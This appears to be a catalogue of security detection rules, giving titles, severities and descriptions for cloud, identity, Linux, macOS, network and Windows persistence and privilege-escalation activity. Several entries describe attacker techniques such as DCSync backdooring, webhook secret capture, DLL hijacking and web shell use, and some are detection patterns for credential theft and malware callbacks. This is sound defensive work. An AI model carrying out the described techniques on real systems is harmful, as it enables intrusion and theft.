Kubernetes CronJob/Job Modification	medium	Detects when a Kubernetes CronJob or Job is created or modified. A Kubernetes Job creates one or more pods to accomplish a specific task, and a CronJob creates Jobs on a recurring schedule. An adversary can take advantage of this Kubernetes object to schedule Jobs to run containers that execute malicious code within a cluster, allowing them to achieve persistence.
Kubernetes Admission Controller Modification	medium	Detects when a modification (create, update or replace) action is taken that affects mutating or validating webhook configurations, as they can be used by an adversary to achieve persistence or exfiltrate access credentials.
OpenCanary - SSH Login Attempt	high	Detects instances where an SSH service on an OpenCanary node has had a login attempt.
OpenCanary - SSH New Connection Attempt	high	Detects instances where an SSH service on an OpenCanary node has had a connection attempt.
Antivirus Web Shell Detection	high	Detects a highly relevant Antivirus alert that reports a web shell. It's highly recommended to tune this rule to the specific strings used by your anti virus solution by downloading a big WebShell repository from e.g. github and checking the matches. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
AWS Key Pair Import Activity	medium	Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.
AWS ECS Task Definition That Queries The Credential Endpoint	medium	Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.
AWS ElastiCache Security Group Created	low	Detects when an ElastiCache security group has been created.
AWS IAM Backdoor Users Keys	medium	Detects AWS API key creation for a user by another user. Backdoored users can be used to obtain persistence in the AWS environment. Also with this alert, you can detect a flow of AWS keys in your org.
AWS IAM S3Browser Templated S3 Bucket Policy Creation	high	Detects S3 browser utility creating Inline IAM policy containing default S3 bucket name placeholder value of "".
AWS IAM S3Browser LoginProfile Creation	high	Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.
AWS IAM S3Browser User or AccessKey Creation	high	Detects S3 Browser utility creating IAM User or AccessKey.
AWS Route 53 Domain Transfer Lock Disabled	low	Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.
AWS Route 53 Domain Transferred to Another Account	low	Detects when a request has been made to transfer a Route 53 domain to another AWS account.
AWS Identity Center Identity Provider Change	high	Detects a change in the AWS Identity Center (FKA AWS SSO) identity provider. A change in identity provider allows an attacker to establish persistent access or escalate privileges via user impersonation.
AWS User Login Profile Was Modified	high	Detects activity when someone is changing passwords on behalf of other users. An attacker with the "iam:UpdateLoginProfile" permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup.
User Added to an Administrator's Azure AD Role	medium	User Added to an Administrator's Azure AD Role
Number Of Resource Creation Or Deployment Activities	medium	Number of VM creations or deployment activities occur in Azure via the azureactivity log.
Granting Of Permissions To An Account	medium	Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.
Azure Kubernetes Admission Controller	medium	Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.
Azure Kubernetes CronJob	medium	Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Disabled MFA to Bypass Authentication Mechanisms	medium	Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.
CA Policy Removed by Non Approved Actor	medium	Monitor and alert on conditional access changes where non approved actor removed CA Policy.
CA Policy Updated by Non Approved Actor	medium	Monitor and alert on conditional access changes. Is Initiated by (actor) approved to make changes? Review Modified Properties and compare "old" vs "new" value.
Certificate-Based Authentication Enabled	medium	Detects when certificate based authentication has been enabled in an Azure Active Directory tenant.
New Root Certificate Authority Added	medium	Detects newly added root certificate authority to an AzureAD tenant to support certificate based authentication.
Application AppID Uri Configuration Changes	high	Detects when a configuration change is made to an applications AppID URI.
Added Credentials to Existing Application	high	Detects when a new credential is added to an existing application. Any additional credentials added outside of expected processes could be a malicious actor using those credentials.
App Granted Privileged Delegated Or App Permissions	high	Detects when administrator grants either application permissions (app roles) or highly privileged delegated permissions
App Assigned To Azure RBAC/Microsoft Entra Role	medium	Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.
Application URI Configuration Changes	high	Detects when a configuration change is made to an applications URI. URIs for domain names that no longer exist (dangling URIs), not using HTTPS, wildcards at the end of the domain, URIs that are no unique to that app, or URIs that point to domains you do not control should be investigated.
Change to Authentication Method	medium	Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.
User Added To Group With CA Policy Modification Access	medium	Monitor and alert on group membership additions of groups that have CA policy modification access
User Removed From Group With CA Policy Modification Access	medium	Monitor and alert on group membership removal of groups that have CA policy modification access
Guest User Invited By Non Approved Inviters	medium	Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.
PIM Alert Setting Changes To Disabled	high	Detects when PIM alerts are set to disabled.
Changes To PIM Settings	high	Detects when changes are made to PIM roles
Bulk Deletion Changes To Privileged Account Permissions	high	Detects when a user is removed from a privileged role. Bulk changes should be investigated.
Privileged Account Creation	medium	Detects when a new admin is created.
Temporary Access Pass Added To An Account	high	Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated
User Risk and MFA Registration Policy Updated	high	Detects changes and updates to the user risk and MFA registration policy. Attackers can modified the policies to Bypass MFA, weaken security thresholds, facilitate further attacks, maintain persistence.
Multi Factor Authentication Disabled For User Account	medium	Detects changes to the "StrongAuthenticationRequirement" value, where the state is set to "0" or "Disabled". Threat actors were seen disabling multi factor authentication for users in order to maintain or achieve access to the account. Also see in SIM Swap attacks.
Password Reset By User Account	medium	Detect when a user has reset their password in Azure AD
Anomalous User Activity	high	Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.
Activity From Anonymous IP Address	high	Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.
Atypical Travel	high	Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.
Impossible Travel	high	Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.
Suspicious Browser Activity	high	Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser
Azure AD Threat Intelligence	high	Indicates user activity that is unusual for the user or consistent with known attack patterns.
New Country	high	Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.
Unfamiliar Sign-In Properties	high	Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.
Stale Accounts In A Privileged Role	high	Identifies when an account hasn't signed in during the past n number of days.
Invalid PIM License	high	Identifies when an organization doesn't have the proper license for PIM and is out of compliance.
Roles Assigned Outside PIM	high	Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.
Roles Activation Doesn't Require MFA	high	Identifies when a privilege role can be activated without performing mfa.
Roles Activated Too Frequently	high	Identifies when the same privilege role has multiple activations by the same user.
Roles Are Not Being Used	high	Identifies when a user has been assigned a privilege role and are not using that role.
Too Many Global Admins	high	Identifies an event where there are there are too many accounts assigned the Global Administrator role.
Application Using Device Code Authentication Flow	medium	Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.
Applications That Are Using ROPC Authentication Flow	medium	Resource owner password credentials (ROPC) should be avoided if at all possible as this requires the user to expose their current password credentials to the application directly. The application then uses those credentials to authenticate the user against the identity provider.
Bitbucket Global Permission Changed	medium	Detects global permissions change activity.
GCP Access Policy Deleted	medium	Detects when an access policy that is applied to a GCP cloud resource is deleted. An adversary would be able to remove access policies to gain access to a GCP cloud resource.
Google Cloud Kubernetes Admission Controller	medium	Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.
Google Cloud Kubernetes CronJob	medium	Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
Google Workspace Application Access Level Modified	medium	Detects when an access level is changed for a Google workspace application. An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model. An adversary would be able to remove access levels to gain easier access to Google workspace resources.
Google Workspace Granted Domain API Access	medium	Detects when an API access service account is granted domain authority.
Google Workspace User Granted Admin Privileges	medium	Detects when an Google Workspace user is granted admin privileges.
Github High Risk Configuration Disabled	high	Detects when a user disables a critical security feature for an organization.
Github Fork Private Repositories Setting Enabled/Cleared	medium	Detects when the policy allowing forks of private and internal repositories is changed (enabled or cleared).
New Github Organization Member Added	informational	Detects when a new member is added or invited to a github organization.
Github New Secret Created	low	Detects when a user creates action secret for the organization, environment, codespaces or repository.
Github Outside Collaborator Detected	medium	Detects when an organization member or an outside collaborator is added to or removed from a project board or has their permission level changed or when an owner removes an outside collaborator from an organization or when two-factor authentication is required in an organization and an outside collaborator does not use 2FA or disables 2FA.
Github Repository/Organization Transferred	medium	Detects when a repository or an organization is being transferred to another location.
Github Self Hosted Runner Changes Detected	low	A self-hosted runner is a system that you deploy and manage to execute jobs from GitHub Actions on GitHub.com. This rule detects changes to self-hosted runners configurations in the environment. The self-hosted runner configuration changes once detected, it should be validated from GitHub UI because the log entry may not provide full context.
Github SSH Certificate Configuration Changed	medium	Detects when changes are made to the SSH certificate configuration of the organization.
Disabling Multi Factor Authentication	high	Detects disabling of Multi Factor Authentication.
New Federated Domain Added	medium	Detects the addition of a new Federated Domain.
New Federated Domain Added - Exchange	medium	Detects the addition of a new Federated Domain.
Okta Admin Role Assigned to an User or Group	medium	Detects when an the Administrator role is assigned to an user or group.
Okta Admin Role Assignment Created	medium	Detects when a new admin role assignment is created. Which could be a sign of privilege escalation or persistence
Okta API Token Created	medium	Detects when a API token is created
Okta Identity Provider Created	medium	Detects when a new identity provider is created for Okta.
Okta MFA Reset or Deactivated	medium	Detects when an attempt at deactivating or resetting MFA.
Creation Of An User Account	medium	Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.
Loading of Kernel Module via Insmod	high	Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.
Systemd Service Reload or Start	low	Detects a reload or a start of a service.
Systemd Service Creation	medium	Detects a creation of systemd services which could be used by adversaries to execute malicious code.
Unix Shell Configuration Modification	medium	Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.
Webshell Remote Command Execution	critical	Detects possible command execution by web application/web shell
Code Injection by ld.so Preload	high	Detects the ld.so preload persistence file. See `man ld.so` for more information.
Potential Suspicious BPF Activity - Linux	high	Detects the presence of "bpf_probe_write_user" BPF helper-generated warning messages. Which could be a sign of suspicious eBPF activity on the system.
Shellshock Expression	high	Detects shellshock expressions in log files
Privileged User Has Been Created	high	Detects the addition of a new user to a privileged group such as "root" or "sudo"
Modifying Crontab	medium	Detects suspicious modification of crontab file.
Persistence Via Sudoers Files	medium	Detects creation of sudoers file or files in "sudoers.d" directory which can be used a potential method to persiste privileges for a specific user.
Potentially Suspicious Shell Script Creation in Profile Folder	low	Detects the creation of shell scripts under the "profile.d" path.
Persistence Via Cron Files	medium	Detects creation of cron file or files in Cron directories which could indicates potential persistence.
Triple Cross eBPF Rootkit Default Persistence	high	Detects the creation of "ebpfbackdoor" files in both "cron.d" and "sudoers.d" directories. Which both are related to the TripleCross persistence method
Potentially Suspicious Malware Callback Communication - Linux	high	Detects programs that connect to known malware callback ports based on threat intelligence reports.
Scheduled Task/Job At	low	Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code
ESXi Account Creation Via ESXCLI	medium	Detects user account creation on ESXi system via esxcli
Scheduled Cron Task/Job - Linux	medium	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
Setuid and Setgid	low	Detects suspicious change of file privileges with chown and chmod commands
Potential Linux Amazon SSM Agent Hijacking	medium	Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report.
User Added To Root/Sudoers Group Using Usermod	medium	Detects usage of the "usermod" binary to add users add users to the root or suoders groups
Linux Webshell Indicators	high	Detects suspicious sub processes of web server processes
MacOS Emond Launch Daemon	medium	Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.
Startup Item File Created - MacOS	low	Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence. Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
Creation Of A Local User Account	low	Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.
Root Account Enable Via Dsenableroot	medium	Detects attempts to enable the root account via "dsenableroot"
Launch Agent/Daemon Execution Via Launchctl	medium	Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.
Suspicious Microsoft Office Child Process - MacOS	high	Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution
Potential Persistence Via PlistBuddy	high	Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility
Scheduled Cron Task/Job - MacOs	medium	Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.
Suspicious Execution via macOS Script Editor	medium	Detects when the macOS Script Editor utility spawns an unusual child process.
Cisco Local Accounts	high	Find local accounts being created or modified as well as remote authentication configurations
Cisco Modify Configuration	medium	Modifications to a config that will serve an adversary's impacts or persistence
Cisco BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing
Cisco LDP Authentication Failures	low	Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels
Huawei BGP Authentication Failures	low	Detects BGP failures which may be indicative of brute force attacks to manipulate routing.
Juniper BGP Missing MD5	low	Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.
MITRE BZAR Indicators for Persistence	medium	Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.
Remote Task Creation via ATSVC Named Pipe - Zeek	medium	Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
Bitsadmin to Uncommon IP Server Address	high	Detects Bitsadmin connections to IP addresses instead of FQDN names
Bitsadmin to Uncommon TLD	high	Detects Bitsadmin connections to domains with uncommon TLDs
Suspicious Windows Strings In URI	high	Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication
Webshell ReGeorg Detection Via Web Logs	high	Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.
Windows Webshell Strings	high	Detects common commands used in Windows webshells
MSSQL Add Account To Sysadmin Role	high	Detects when an attacker tries to backdoor the MSSQL server by adding a backdoor account to the sysadmin fixed server role
MSSQL SPProcoption Set	high	Detects when the a stored procedure is set or cleared for automatic execution in MSSQL. A stored procedure that is set to automatic execution runs every time an instance of SQL Server is started
New BITS Job Created Via Bitsadmin	low	Detects the creation of a new bits job by Bitsadmin
New BITS Job Created Via PowerShell	low	Detects the creation of a new bits job by PowerShell
BITS Transfer Job Downloading File Potential Suspicious Extension	medium	Detects new BITS transfer job saving local files with potential suspicious extensions
BITS Transfer Job Download From File Sharing Domains	high	Detects BITS transfer job downloading files from a file sharing domain.
BITS Transfer Job Download From Direct IP	high	Detects a BITS transfer job downloading file(s) from a direct IP address.
BITS Transfer Job With Uncommon Or Suspicious Remote TLD	medium	Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.
BITS Transfer Job Download To Potential Suspicious Folder	high	Detects new BITS transfer job where the LocalName/Saved file is stored in a potentially suspicious location
New Module Module Added To IIS Server	medium	Detects the addition of a new module to an IIS server.
Previously Installed IIS Module Was Removed	low	Detects the removal of a previously installed IIS module.
Mailbox Export to Exchange Webserver	critical	Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it
Certificate Request Export to Exchange Webserver	critical	Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell
Exchange Set OabVirtualDirectory ExternalUrl Property	high	Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log
MSExchange Transport Agent Installation - Builtin	medium	Detects the Installation of a Exchange Transport Agent
Failed MSExchange Transport Agent Installation	high	Detects a failed installation of a Exchange Transport Agent
Powerview Add-DomainObjectAcl DCSync AD Extend Right	high	Backdooring domain object to grant the rights associated with DCSync to a regular user or machine account using Powerview\Add-DomainObjectAcl DCSync Extended Right cmdlet, will allow to re-obtain the pwd hashes of any user/computer
Enabled User Right in AD to Control User Objects	high	Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.
Active Directory User Backdoors	high	Detects scenarios where one can control another users or computers account without having to use their credentials.
Remote Task Creation via ATSVC Named Pipe	medium	Detects remote task creation via at.exe or API interacting with ATSVC namedpipe
Persistence and Execution at Scale via GPO Scheduled Task	high	Detect lateral movement using GPO scheduled task, usually used to deploy ransomware at scale
Hidden Local User Creation	high	Detects the creation of a local hidden user account which should not happen for event ID 4720.
HybridConnectionManager Service Installation	high	Rule to detect the Hybrid Connection Manager service installation.
Windows Network Access Suspicious desktop.ini Action	medium	Detects unusual processes accessing desktop.ini remotely over network share, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.
Service Registry Key Read Access Request	low	Detects "read access" requests on the services registry key. Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.
Remote Access Tool Services Have Been Installed - Security	medium	Detects service installation of different remote access tools software. These software are often abused by threat actors to perform
A New Trust Was Created To A Domain	medium	Addition of domains is seldom and should be verified for legitimacy.
Win Susp Computer Name Containing Samtheadmin	critical	Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool
Addition of SID History to Active Directory Object	medium	An attacker can use the SID history attribute to gain additional privileges.
Password Change on Directory Service Restore Mode (DSRM) Account	high	Detects potential attempts made to set the Directory Services Restore Mode administrator password. The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password in order to obtain persistence.
Account Tampering - Suspicious Failed Logon Reasons	medium	This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.
Suspicious Windows ANONYMOUS LOGON Local Account Created	high	Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.
Suspicious Scheduled Task Creation	high	Detects suspicious scheduled task creation events. Based on attributes such as paths, commands line flags, etc.
Important Scheduled Task Deleted/Disabled	high	Detects when adversaries stop services or processes by deleting or disabling their respective scheduled tasks in order to conduct data destructive activities
Suspicious Scheduled Task Update	high	Detects update to a scheduled task event that contain suspicious keywords.
Remote Service Activity via SVCCTL Named Pipe	medium	Detects remote service activity via remote access to the svcctl named pipe
User Added to Local Administrator Group	medium	Detects the addition of a new member to the local administrator group, which could be legitimate activity or a sign of privilege escalation activity
Local User Creation	low	Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.
WMI Persistence - Security	medium	Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.
A Member Was Removed From a Security-Enabled Global Group	low	Detects activity when a member is removed from a security-enabled global group
A Member Was Added to a Security-Enabled Global Group	low	Detects activity when a member is added to a security-enabled global group
A Security-Enabled Global Group Was Deleted	low	Detects activity when a security-enabled global group is deleted
Failed Logon From Public IP	medium	Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary.
HybridConnectionManager Service Running	high	Rule to detect the Hybrid Connection Manager service running on an endpoint.
Moriya Rootkit - System	critical	Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report
Anydesk Remote Access Software Service Installation	medium	Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.
NetSupport Manager Service Install	medium	Detects NetSupport Manager service installation on the target system.
Remote Access Tool Services Have Been Installed - System	medium	Detects service installation of different remote access tools software. These software are often abused by threat actors to perform
Remote Utilities Host Service Install	medium	Detects Remote Utilities Host service installation on the target system.
Suspicious Service Installation	high	Detects suspicious service installation commands
Uncommon Service Installation Image Path	medium	Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc.
RTCore Suspicious Service Installation	high	Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse
Service Installation in Suspicious Folder	medium	Detects service installation in suspicious folder appdata
Service Installation with Suspicious Folder Pattern	high	Detects service installation with suspicious folder patterns
Suspicious Service Installation Script	high	Detects suspicious service installation scripts
Scheduled Task Executed From A Suspicious Location	medium	Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task
Scheduled Task Executed Uncommon LOLBIN	medium	Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task
WMI Persistence	medium	Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.
Potential Suspicious Winget Package Installation	high	Detects potential suspicious winget package installation from a suspicious source.
DNS HybridConnectionManager Service Bus	high	Detects Azure Hybrid Connection Manager services querying the Azure service bus service
Driver Load From A Temporary Directory	high	Detects a driver load from a temporary directory
Potential PrintNightmare Exploitation Attempt	high	Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675
Creation Of Non-Existent System DLL	medium	Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking.
New Custom Shim Database Created	medium	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.
Suspicious Screensaver Binary File Creation	medium	Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension
Creation Exe for Service with Unquoted Path	high	Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.
DLL Search Order Hijackig Via Additional Space in Path	high	Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack
Potential Persistence Attempt Via ErrorHandler.Cmd	medium	Detects creation of a file named "ErrorHandler.cmd" in the "C:\WINDOWS\Setup\Scripts\" directory which could be used as a method of persistence The content of C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd is read whenever some tools under C:\WINDOWS\System32\oobe\ (e.g. Setup.exe) fail to run for any reason.
Suspicious ASPX File Drop by Exchange	high	Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder
Suspicious File Drop by Exchange	medium	Detects suspicious file type dropped by an Exchange component in IIS
HackTool - Powerup Write Hijack DLL	high	Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).
Malicious DLL File Dropped in the Teams or OneDrive Folder	high	Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded
File Creation In Suspicious Directory By Msdt.EXE	high	Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities
Potential Persistence Via Notepad++ Plugins	medium	Detects creation of new ".dll" files inside the plugins directory of a notepad++ installation by a process other than "gup.exe". Which could indicates possible persistence
Potential Persistence Via Microsoft Office Add-In	high	Detects potential persistence activity via startup add-ins that load when Microsoft Office starts (.wll/.xll are simply .dll fit for Word or Excel).
New Outlook Macro Created	medium	Detects the creation of a macro file for Outlook.
Suspicious Outlook Macro Created	high	Detects the creation of a macro file for Outlook.
Potential Persistence Via Microsoft Office Startup Folder	high	Detects creation of Microsoft Office files inside of one of the default startup folders in order to achieve persistence.
Potential Persistence Via Outlook Form	high	Detects the creation of a new Outlook form which can contain malicious code
Potential Binary Or Script Dropper Via PowerShell	medium	Detects PowerShell creating a binary executable or a script file.
PowerShell Script Dropped Via PowerShell.EXE	low	Detects PowerShell creating a PowerShell file (.ps1). While often times this behavior is benign, sometimes it can be a sign of a dropper script trying to achieve persistence.
PowerShell Module File Created	low	Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc.
PowerShell Module File Created By Non-PowerShell Process	medium	Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc. by a non-PowerShell process
Potential Suspicious PowerShell Module File Created	medium	Detects the creation of a new PowerShell module in the first folder of the module directory structure "\WindowsPowerShell\Modules\malware\malware.psm1". This is somewhat an uncommon practice as legitimate modules often includes a version folder.
Potential Startup Shortcut Persistence Via PowerShell.EXE	high	Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"
Potential RipZip Attack on Startup Folder	high	Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.
Startup Folder File Write	medium	A General detection for files being created in the Windows startup directory. This could be an indicator of persistence.
Suspicious desktop.ini Action	medium	Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.
Suspicious MSExchangeMailboxReplication ASPX Write	high	Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation
Suspicious Get-Variable.exe Creation	high	Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.
PowerShell Profile Modification	medium	Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence
Suspicious File Creation Activity From Fake Recycle.Bin Folder	high	Detects file write event from/to a fake recycle bin folder that is often used as a staging directory for malware
Suspicious Startup Folder Persistence	high	Detects when a file with a suspicious extension is created in the startup folder
Suspicious Scheduled Task Write to System32 Tasks	high	Detects the creation of tasks from processes executed from suspicious locations
VsCode Powershell Profile Modification	medium	Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence
Windows Terminal Profile Settings Modification By Uncommon Process	medium	Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon process.
Process Explorer Driver Creation By Non-Sysinternals Binary	high	Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards.
Process Monitor Driver Creation By Non-Sysinternals Binary	medium	Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.
PSEXEC Remote Execution File Artefact	high	Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system
Potential Privilege Escalation Attempt Via .Exe.Local Technique	high	Detects potential privilege escalation attempt via the creation of the "*.Exe.Local" folder inside the "System32" directory in order to sideload "comctl32.dll"
Creation of WerFault.exe/Wer.dll in Unusual Folder	medium	Detects the creation of a file named "WerFault.exe" or "wer.dll" in an uncommon folder, which could be a sign of WerFault DLL hijacking.
Potential Webshell Creation On Static Website	medium	Detects the creation of files with certain extensions on a static web site. This can be indicative of potential uploads of a web shell.
WMI Persistence - Script Event Consumer File Write	high	Detects file writes of WMI script event consumer
UEFI Persistence Via Wpbbin - FileCreation	high	Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI based persistence method
